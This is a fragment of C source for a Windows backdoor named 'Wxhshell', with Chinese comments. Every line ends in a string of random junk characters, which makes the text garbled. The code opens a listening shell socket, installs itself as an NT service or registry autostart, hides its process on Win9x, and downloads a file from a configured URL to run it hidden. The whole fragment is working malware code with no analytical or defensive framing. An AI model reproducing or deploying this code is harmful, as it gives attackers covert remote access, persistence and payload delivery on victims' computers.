} PROCESS_BASIC_INFORMATION; x3gwG)Sf
'N*!>mZ<
PROCNTQSIP NtQueryInformationProcess; <sO?ev[
xnT3^ #-h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6aRGG+H
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xm%iPrl D
Sy4
mZ}:
HANDLE hProcess; l_bL,-|E8
PROCESS_BASIC_INFORMATION pbi; c]e`m6
wH+FFXGJs
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kV_#9z7%
if(NULL == hInst ) return 0; )\0Ug7]?
(QhGxuC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <"hb#Tn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k& WS$R?u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mXQl;
-)4uYK*
if (!NtQueryInformationProcess) return 0; fS5GICx8R
z Z@L4ZT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N 9c8c
if(!hProcess) return 0; S&5Q~}{,
UaH26fWs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :0WkxEY9
K5 5} Wi
CloseHandle(hProcess); (m<R0
rn5"o8|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l#X=]xQf
if(hProcess==NULL) return 0; $7msL#E7
/!^L69um
HMODULE hMod; E}]I%fi
char procName[255]; _= o1?R
unsigned long cbNeeded; 's$A+8;L
nw~/~eM5=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hO^&0?
;[;)P tFz\
CloseHandle(hProcess); 4}.WhE|h
6.7`0v?,n
if(strstr(procName,"services")) return 1; // 以服务启动 V<7R_}^_7
8|w5QvCU?3
return 0; // 注册表启动 q,<n,0)K
} rFKo E%
IW5*9)N?
// 主模块 08zi/g2
3
int StartWxhshell(LPSTR lpCmdLine) r{pI-$
{ S1D9AcK
SOCKET wsl; #g@
BOOL val=TRUE; _ff=B
int port=0; ArNur~
struct sockaddr_in door; "2)+)Db
Z_iAn TT
if(wscfg.ws_autoins) Install(); kV*y_5g
*4(/t$)pEl
port=atoi(lpCmdLine); D}zOuB,S
F,'^se4&
if(port<=0) port=wscfg.ws_port; X@6zI-Y%
anHBySI3
WSADATA data; Ybs=W<-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .yctE:n
S[W9G)KWp
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '#cT4_D^lI
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); opUKrB
door.sin_family = AF_INET; .nj?;).
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h]J&A
door.sin_port = htons(port); AIvL#12
GNhtnB
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JLy)}8I
closesocket(wsl); pm'@2dT
return 1; ?=;e.qK=71
} "TBQNWZ
&=s|
if(listen(wsl,2) == INVALID_SOCKET) { '8r8
^g[
closesocket(wsl); aBqe+FXp4
return 1; bqg]DO$*
} (ybtXoQs
Wxhshell(wsl); R,d70w
(_
WSACleanup(); RE`J"&
Dyouk+08x
return 0; Z ]7;u>2
v @$evmA
} e'/
[6,]9|~
// 以NT服务方式启动 Ie^Dn!0S
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a`EGx{q(
{ YA^wUx
DWORD status = 0; ]v^`+s}3
DWORD specificError = 0xfffffff; in=k:j,U0
DJ
mQZ+{2
serviceStatus.dwServiceType = SERVICE_WIN32; Z!]U&Ax`Z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !OuTXa,IH
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |g?/~%7
serviceStatus.dwWin32ExitCode = 0; zulf%aaL
serviceStatus.dwServiceSpecificExitCode = 0; )MD*)O
serviceStatus.dwCheckPoint = 0; L6[rvM|9_
serviceStatus.dwWaitHint = 0; D<_,>{$gW
6PzN>+t^y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7kX7\[zN
if (hServiceStatusHandle==0) return; I9*BENkR
sO{0hZkc
status = GetLastError(); |L.~Amd
if (status!=NO_ERROR) aCUV[CPw
{ T4H oSei
serviceStatus.dwCurrentState = SERVICE_STOPPED; skR,M=F~
serviceStatus.dwCheckPoint = 0; Lilk8|?#W
serviceStatus.dwWaitHint = 0; 7G>0,'XC
serviceStatus.dwWin32ExitCode = status; H4y1Hpa,
serviceStatus.dwServiceSpecificExitCode = specificError; HjUw[Yz+6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ohc/.5Kl
return; Z0F>"Z_qn
}
7>#L
p+`*~6Jj/
serviceStatus.dwCurrentState = SERVICE_RUNNING; ](9{}DHV
serviceStatus.dwCheckPoint = 0; -aH?7HV}
serviceStatus.dwWaitHint = 0; A=qW]Im
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Q*RR"3
} +3o)L?:g
+4:+qGAJ{
// 处理NT服务事件,比如:启动、停止 tRUsZl
VOID WINAPI NTServiceHandler(DWORD fdwControl) cP#]n)<
{ 2LxVt@_R!%
switch(fdwControl) !aW*dD61
{ LG&Q>pt.
case SERVICE_CONTROL_STOP: hyvV%z Z
serviceStatus.dwWin32ExitCode = 0; G%p!os\>
serviceStatus.dwCurrentState = SERVICE_STOPPED; K&D}!.~/
serviceStatus.dwCheckPoint = 0; jzJ1+/9
serviceStatus.dwWaitHint = 0; E?m#S
{ S!I <m&Cgc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +sR *d
} q|
=q:4_L
return; <E}]t,'3
case SERVICE_CONTROL_PAUSE: p\]LEP\z,
serviceStatus.dwCurrentState = SERVICE_PAUSED; P{i8
break; ^d5./M8Bd
case SERVICE_CONTROL_CONTINUE: aD/,c1
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2`FsG/o\T~
break; 3R=3\;
case SERVICE_CONTROL_INTERROGATE: ^$Eiz.
break; 6dS1\Y
}; E-U;8cOMv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kG;\i
} w7t"&=pF7
n"d)
// 标准应用程序主函数 dI0>m:RBz
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a@=36gx)
{ xZ'`_x9l
jVFRq T%
// 获取操作系统版本 _F|_C5A
OsIsNt=GetOsVer(); C"` 'Re5)
GetModuleFileName(NULL,ExeFile,MAX_PATH); H'h4@S
QWW7I.9r
// 从命令行安装 a9EI7pnq
if(strpbrk(lpCmdLine,"iI")) Install(); *6x^w%=A
sv{0XVn+^
// 下载执行文件 komxot[[
if(wscfg.ws_downexe) { f({-j%m
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Q
WinExec(wscfg.ws_filenam,SW_HIDE); Y %D*O
} %K7EF_%
rPGE-d3
if(!OsIsNt) { dt0E0i
// 如果时win9x,隐藏进程并且设置为注册表启动 /2\=sTd
HideProc(); QGz3id6
StartWxhshell(lpCmdLine); l0_E9qh-i
} cLko
else rIWN!@.J
if(StartFromService()) [[r3fEr$!p
// 以服务方式启动 k$x
'v#
StartServiceCtrlDispatcher(DispatchTable); q>.t~
else E29gnYxu8
// 普通方式启动 @?cXa: tX
StartWxhshell(lpCmdLine); H6CGc0NS+
?O>JtEz~lQ
return 0; A8Z?[,Mq!
} >iWf7-:
2l/5i]Tq
2c`=S5
"KE38`NL
=========================================== ,<j5i?
DoB3_=yJ+
u{nWjqrM*5
OO+#KyU
yr
9)ga%
!#gE'(J;c
" 7{6.
lLFBop
#include <stdio.h> R^kv!x;h
#include <string.h> [T#a1!
#include <windows.h> :w_1J'D}
#include <winsock2.h> lJY=*KB(6
#include <winsvc.h> 4bi\$
#include <urlmon.h> Mciq9{8&